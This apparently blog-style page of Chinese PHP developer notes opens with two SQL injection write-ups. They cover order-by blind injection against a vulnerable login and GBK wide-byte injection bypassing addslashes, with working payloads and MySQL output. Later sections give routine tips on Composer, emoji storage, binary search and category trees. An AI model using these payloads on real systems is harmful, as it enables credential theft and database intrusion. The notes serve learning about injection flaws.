<h3 id="order-by-进行盲注"><a href="#order-by-进行盲注" class="headerlink" title="order by 进行盲注"></a>order by 进行盲注</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">$username = $_POST[<span class="string">'username'</span>];</span><br><span class="line">$password = $_POST[<span class="string">'password'</span>];</span><br><span class="line"><span class="keyword">if</span>(filter($username))&#123;</span><br><span class="line">    <span class="comment">//过滤括号</span></span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    $sql=<span class="string">"SELECT * FROM admin WHERE username='"</span>.$username.<span class="string">"'"</span>;</span><br><span class="line">    $result=mysql_query($sql);</span><br><span class="line">    @$row = mysql_fetch_array($result);</span><br><span class="line">    <span class="keyword">if</span>(isset($row) &amp;&amp; $row[<span class="string">'username'</span>] === <span class="string">'admin'</span>)&#123;</span><br><span class="line">        <span class="keyword">if</span> ($row[<span class="string">'password'</span>]===md5($password))&#123;</span><br><span class="line">            <span class="comment">//Login successful</span></span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            die(<span class="string">"password error!"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        die(<span class="string">"username does not exist!"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">有下列表：</span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">'admin'</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | admin    | <span class="number">51</span>b7a76d51e70b419f60d3473fb6f900 |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">1</span> row <span class="keyword">in</span> set (<span class="number">0.00</span> sec)</span><br><span class="line">这样一个一般的场景，用户登录时，用户名错误提示：用户名错误，用户名正确密码错误提示：密码错误</span><br><span class="line">username=<span class="string">' union select 1,'</span>admin<span class="string">','</span>c4ca4238a0b923820dcc509a6f75849b&amp;password=<span class="number">1</span></span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">''</span> union select <span class="number">1</span>,<span class="string">'admin'</span>,<span class="string">'c4ca4238a0b923820dcc509a6f75849b'</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | admin    | c4ca4238a0b923820dcc509a6f75849b |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">1</span> row <span class="keyword">in</span> set (<span class="number">0.00</span> sec)</span><br><span class="line">但是想得到password怎么办</span><br><span class="line"><span class="number">0x03</span> 利用order by起飞</span><br><span class="line">由登录提示可获取一个bool条件，如何用order by利用这个bool条件</span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">''</span> or <span class="number">1</span> union select <span class="number">1</span>,<span class="number">2</span>,<span class="string">'5'</span> order by <span class="number">3</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | <span class="number">2</span>        | <span class="number">5</span>                                |</span><br><span class="line">|  <span class="number">1</span> | admin    | <span class="number">51</span>b7a76d51e70b419f60d3473fb6f900 |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">2</span> rows <span class="keyword">in</span> set (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">''</span> or <span class="number">1</span> union select <span class="number">1</span>,<span class="number">2</span>,<span class="string">'6'</span> order by <span class="number">3</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | admin    | <span class="number">51</span>b7a76d51e70b419f60d3473fb6f900 |</span><br><span class="line">|  <span class="number">1</span> | <span class="number">2</span>        | <span class="number">6</span>                                |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">2</span> rows <span class="keyword">in</span> set (<span class="number">0.01</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">''</span> or <span class="number">1</span> union select <span class="number">1</span>,<span class="number">2</span>,<span class="string">'51'</span> order by <span class="number">3</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | <span class="number">2</span>        | <span class="number">51</span>                               |</span><br><span class="line">|  <span class="number">1</span> | admin    | <span class="number">51</span>b7a76d51e70b419f60d3473fb6f900 |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">2</span> rows <span class="keyword">in</span> set (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql&gt; select * <span class="keyword">from</span> admin where username=<span class="string">''</span> or <span class="number">1</span> union select <span class="number">1</span>,<span class="number">2</span>,<span class="string">'52'</span> order by <span class="number">3</span>;</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">| id | username | password                         |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line">|  <span class="number">1</span> | admin    | <span class="number">51</span>b7a76d51e70b419f60d3473fb6f900 |</span><br><span class="line">|  <span class="number">1</span> | <span class="number">2</span>        | <span class="number">52</span>                               |</span><br><span class="line">+----+----------+----------------------------------+</span><br><span class="line"><span class="number">2</span> rows <span class="keyword">in</span> set (<span class="number">0.00</span> sec)</span><br><span class="line">通过逐位判断便可得到password</span><br><span class="line">显然此方法在实际中使用的不多，但在一些特定的环境中也许会用到，比如实验环境，如果过滤了括号，其他盲注基本上就是废了，便可利用order by进行注入。</span><br><span class="line">https:<span class="comment">//p0sec.net/index.php/archives/106/</span></span><br></pre></td></tr></table></figure>
<h3 id="gbk宽字节注入"><a href="#gbk宽字节注入" class="headerlink" title="gbk宽字节注入"></a>gbk宽字节注入</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$conn = mysql_connect(<span class="string">'127.0.0.1'</span>,<span class="string">'root'</span>,<span class="string">'xxx'</span>); </span><br><span class="line">mysql_select_db(<span class="string">'test'</span>,$conn);</span><br><span class="line">mysql_query(<span class="string">"set names gbk"</span>); </span><br><span class="line">$id = addslashes($_GET[<span class="string">'sql'</span>]); </span><br><span class="line">$sql = <span class="string">"SELECT username,password FROM admin WHERE id='&#123;$id&#125;'"</span>; </span><br><span class="line">echo $sql.<span class="string">'&lt;/br&gt;'</span>;</span><br><span class="line"><span class="keyword">if</span>($res = mysql_query($sql))&#123; </span><br><span class="line"><span class="keyword">while</span>($row = mysql_fetch_array($res))&#123;</span><br><span class="line"> var_dump($row);</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123; </span><br><span class="line">echo <span class="string">"Error"</span>.mysql_error().<span class="string">"&lt;/br&gt;"</span>; </span><br><span class="line"> &#125; </span><br><span class="line"> $_GET[‘id’]经过addslashes编码之后带入了‘’</span><br><span class="line"> 变成 &lt;pre&gt;<span class="number">2</span>%df%<span class="number">5</span>C%<span class="number">27</span> and updatexml(<span class="number">1</span>,concat(<span class="number">0x7e</span>,(SELECT database()),<span class="number">0x7e</span>),<span class="number">1</span>)%<span class="number">23</span>&lt;<span class="regexp">/pre&gt;</span></span><br><span class="line"><span class="regexp"> 带入mysql处理时使用了gbk字符集</span></span><br><span class="line"><span class="regexp"> %df%5c 運成功的吃掉了%5c</span></span><br><span class="line"><span class="regexp"> %27‘单引号成功闭合</span></span><br><span class="line"><span class="regexp"> GBK编码，编码范围是0x8140~0xFEFE（不包括xx7F），在遇到%df(ascii(223)) &gt;ascii(128)时自动拼接%5c，因此吃掉‘’，而%27、%20小于ascii(128)的字符就保留了https:/</span><span class="regexp">/p0sec.net/i</span>ndex.php/archives/<span class="number">7</span>/</span><br></pre></td></tr></table></figure>
<h3 id="Composer-加速"><a href="#Composer-加速" class="headerlink" title="Composer 加速"></a>Composer 加速</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">composer global <span class="built_in">require</span> hirak/prestissimo</span><br><span class="line">https:<span class="comment">//learnku.com/courses/laravel-package/hirakprestissimo/1695</span></span><br><span class="line"></span><br><span class="line">正常使用 Composer 的相关命令即可，会自动生效。</span><br></pre></td></tr></table></figure>
<h3 id="文件下载乱码"><a href="#文件下载乱码" class="headerlink" title="文件下载乱码"></a>文件下载乱码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://www.helingfeng.com/2018-05-02/php-file-download-garbled/</span></span><br><span class="line">$encoded_filename = urlencode($filename);</span><br><span class="line">$encoded_filename = str_replace(<span class="string">"+"</span>, <span class="string">"%20"</span>, $encoded_filename);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (preg_match(<span class="string">"/MSIE/"</span>, request()-&gt;userAgent())) &#123;</span><br><span class="line">	header(<span class="string">'Content-Disposition: attachment; filename="'</span> . $encoded_filename . <span class="string">'"'</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (preg_match(<span class="string">"/Firefox/"</span>, request()-&gt;userAgent())) &#123;</span><br><span class="line">	header(<span class="string">'Content-Disposition: attachment; filename*="utf8\'\''</span> . $filename . <span class="string">'"'</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">	header(<span class="string">'Content-Disposition: attachment; filename="'</span> . $filename . <span class="string">'"'</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="直接使用-mysql-utf8-存储-超过三个字节的-emoji-表情"><a href="#直接使用-mysql-utf8-存储-超过三个字节的-emoji-表情" class="headerlink" title="直接使用 mysql utf8 存储 超过三个字节的 emoji 表情"></a>直接使用 mysql utf8 存储 超过三个字节的 emoji 表情</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">由于现在数据的版本是<span class="number">5.5</span><span class="number">.2</span>，但是看网上说要直接存储emoji表情，需要升级到<span class="number">5.5</span><span class="number">.3</span>然后把字符集设置为utf8mb4，但是升级数据库感觉属于敏感操作</span><br><span class="line">直接找到接受到的文本中的字符串中<span class="number">4</span>个字节的内容，做rawurlencode编码，再入库。输出的时候再替换回来，然后再用rawurldecode转码回unicode到手机再解析为emoji表情。</span><br><span class="line"></span><br><span class="line">获取字符串长度mb_strlen，按字符来截取字符串mb_substr（mb_strcut是按字节来截取，有区别）。</span><br><span class="line">$strEncode = <span class="string">''</span>;</span><br><span class="line"> </span><br><span class="line">$length = mb_strlen($str,<span class="string">'utf-8'</span>);</span><br><span class="line"> </span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i &lt; $length; $i++) &#123;</span><br><span class="line">	$_tmpStr = mb_substr($str,$i,<span class="number">1</span>,<span class="string">'utf-8'</span>);</span><br><span class="line">	<span class="keyword">if</span>(strlen($_tmpStr) &gt;= <span class="number">4</span>)&#123;</span><br><span class="line">		$strEncode .= <span class="string">'[[EMOJI:'</span>.rawurlencode($_tmpStr).<span class="string">']]'</span>;</span><br><span class="line">	&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">		$strEncode .= $_tmpStr;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">echo $strEncode.<span class="string">"\n"</span>;<span class="comment">// 周梦康123~☺[[EMOJI:%F0%9F%98%81]][[EMOJI:%F0%9F%98%84]]</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">//转码回去</span></span><br><span class="line">$strDecode = preg_replace_callback(<span class="string">"/\[\[EMOJI:(.*?)\]\]/"</span>, <span class="function"><span class="keyword">function</span>(<span class="params">$matches</span>)</span>&#123;</span><br><span class="line">	<span class="keyword">return</span> rawurldecode($matches[<span class="number">1</span>]);</span><br><span class="line">&#125;, $strEncode);</span><br><span class="line"> </span><br><span class="line">echo $strDecode.<span class="string">"\n"</span>;</span><br><span class="line">第一个坑：我们线上服务器strlen返回的结果不是字节数，而是字符数。我折腾好半天。最后终于找到了原因：</span><br><span class="line"></span><br><span class="line">http:<span class="comment">//php.net/manual/zh/mbstring.overload.php</span></span><br><span class="line"></span><br><span class="line">再配置文件里设置了mbstring.func_overload=<span class="number">2</span>，而且该配置只能在php.ini里修改，不能通过ini_set来改变。具体参考：http:<span class="comment">//php.net/manual/en/mbstring.configuration.php</span></span><br><span class="line">; overload(replace) single byte functions by mbstring functions.</span><br><span class="line">; mail(), ereg(), etc are overloaded by mb_send_mail(), mb_ereg(),</span><br><span class="line">; etc. Possible values are <span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">4</span> or combination <span class="keyword">of</span> them.</span><br><span class="line">; For example, <span class="number">7</span> <span class="keyword">for</span> overload everything.</span><br><span class="line">; <span class="number">0</span>: No overload</span><br><span class="line">; <span class="number">1</span>: Overload mail() <span class="function"><span class="keyword">function</span></span></span><br><span class="line"><span class="function">; 2: <span class="title">Overload</span> <span class="title">str</span>*(<span class="params"></span>) <span class="title">functions</span></span></span><br><span class="line"><span class="function">; 4: <span class="title">Overload</span> <span class="title">ereg</span>*(<span class="params"></span>) <span class="title">functions</span></span></span><br><span class="line"><span class="function">; <span class="title">http</span>://<span class="title">php</span>.<span class="title">net</span>/<span class="title">mbstring</span>.<span class="title">func</span>-<span class="title">overload</span></span></span><br><span class="line"><span class="function"><span class="title">mbstring</span>.<span class="title">func_overload</span> = 2</span></span><br><span class="line"><span class="function">这样就导致了<span class="title">str</span>*类的函数都被<span class="title">mb_str</span>*给替换了。具体的参看上面的链接。</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">第二个坑：<span class="title">PHP</span> 5.3.13中对<span class="title">preg_replace_callback</span>不支持 <span class="title">https</span>://<span class="title">mengkang</span>.<span class="title">net</span>/384.<span class="title">html</span></span></span><br></pre></td></tr></table></figure>
<h3 id="二分查找"><a href="#二分查找" class="headerlink" title="二分查找"></a>二分查找</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//learnku.com/articles/31829</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Elem</span></span>&#123;</span><br><span class="line">    public $key;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Table</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public $data = [];</span><br><span class="line">    public $lenght;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">createTable</span>(<span class="params">Table &amp;$table,$length</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $table-&gt;lenght = $length;</span><br><span class="line">    $obj = <span class="keyword">new</span> Elem();</span><br><span class="line">    fwrite(STDOUT,<span class="string">"请输入数据：\n"</span>);</span><br><span class="line">    <span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;=$table-&gt;lenght;$i++)&#123;</span><br><span class="line">        $elem = clone $obj;</span><br><span class="line">        $elem-&gt;key = fgets(STDIN,<span class="number">10</span>);</span><br><span class="line">        $table-&gt;data[$i] = $elem;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">searchBin</span>(<span class="params">Table $table,$key</span>):<span class="title">int</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $low = <span class="number">1</span>;</span><br><span class="line">    $height = $table-&gt;lenght;</span><br><span class="line">    <span class="keyword">while</span>($low&lt;=$height)&#123;</span><br><span class="line">        $mid = floor(($low+intval($height))/<span class="number">2</span>);</span><br><span class="line">        <span class="keyword">if</span> ($table-&gt;data[$mid]-&gt;key==$key)&#123;</span><br><span class="line">            <span class="keyword">return</span> $mid;</span><br><span class="line">        &#125;<span class="keyword">else</span> <span class="keyword">if</span>($table-&gt;data[$mid]-&gt;key&gt;$key)&#123;</span><br><span class="line">            $height=$mid<span class="number">-1</span>;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            $low = $mid+<span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    $table = <span class="keyword">new</span> Table();</span><br><span class="line">    fwrite(STDOUT,<span class="string">"请输入数据元素个数：\n"</span>);</span><br><span class="line">    $length = fgets(STDIN,<span class="number">10</span>);</span><br><span class="line">    createTable($table,$length);</span><br><span class="line">    fwrite(STDOUT,<span class="string">"请输入要查找的数据元素：\n"</span>);</span><br><span class="line">    $key = (integer)fgets(STDIN,<span class="number">10</span>);</span><br><span class="line">    $location = searchBin($table,$key);</span><br><span class="line">    <span class="keyword">if</span> ($location)&#123;</span><br><span class="line">        fwrite(STDOUT,<span class="string">"查找到的数据索引为：$location\n"</span>);</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        fwrite(STDERR,<span class="string">"查找不到指定的内容\n"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)();</span><br></pre></td></tr></table></figure>
<h3 id="无限分类"><a href="#无限分类" class="headerlink" title="无限分类"></a>无限分类</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br></pre></td><td class="code"><pre><span class="line">$arrs = [</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">1</span>,</span><br><span class="line">        <span class="string">'parent_id'</span>=&gt;<span class="number">0</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">2</span>,</span><br><span class="line">        <span class="string">'parent_id'</span>=&gt;<span class="number">1</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">3</span>,</span><br><span class="line">        <span class="string">'parent_id'</span>=&gt;<span class="number">2</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">4</span>,</span><br><span class="line">        <span class="string">'parent_id'</span>=&gt;<span class="number">2</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">'id'</span>=&gt;<span class="number">5</span>,</span><br><span class="line">        <span class="string">'parent_id'</span>=&gt;<span class="number">0</span></span><br><span class="line">    ],</span><br><span class="line">];</span><br><span class="line">var_export(getTree($arrs));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTree</span>(<span class="params">$arrs,$root=<span class="number">0</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $tree = array();</span><br><span class="line">    foreach ($arrs <span class="keyword">as</span> $foo) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($foo[<span class="string">'parent_id'</span>] == $root) &#123;</span><br><span class="line">            $foo[<span class="string">'children'</span>] = getTree($arrs,$foo[<span class="string">'id'</span>]);</span><br><span class="line">            $tree[] = $foo;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $tree;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTree</span>(<span class="params">$arrs,$root=<span class="number">0</span>,$level=<span class="number">100</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $tree = array();</span><br><span class="line">    foreach ($arrs <span class="keyword">as</span> $foo) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($foo[<span class="string">'parent_id'</span>] == $root) &#123;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">if</span>($level&gt;<span class="number">0</span>)&#123;               </span><br><span class="line">            $foo[<span class="string">'children'</span>] = getTree($arrs,$foo[<span class="string">'id'</span>],$level<span class="number">-1</span>);     </span><br><span class="line">           &#125;</span><br><span class="line">            $tree[] = $foo;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    --$level;</span><br><span class="line">    <span class="keyword">return</span> $tree;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 把返回的数据集转换成Tree</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @param $list</span></span><br><span class="line"><span class="comment">     * @param string $pk</span></span><br><span class="line"><span class="comment">     * @param string $pid</span></span><br><span class="line"><span class="comment">     * @param string $child</span></span><br><span class="line"><span class="comment">     * @param int $root</span></span><br><span class="line"><span class="comment">     * @return array</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">list_to_tree</span>(<span class="params">$list, $pk = <span class="string">'id'</span>, $pid = <span class="string">'pid'</span>, $child = <span class="string">'_child'</span>, $root = <span class="number">0</span></span>)</span></span><br><span class="line"><span class="function">    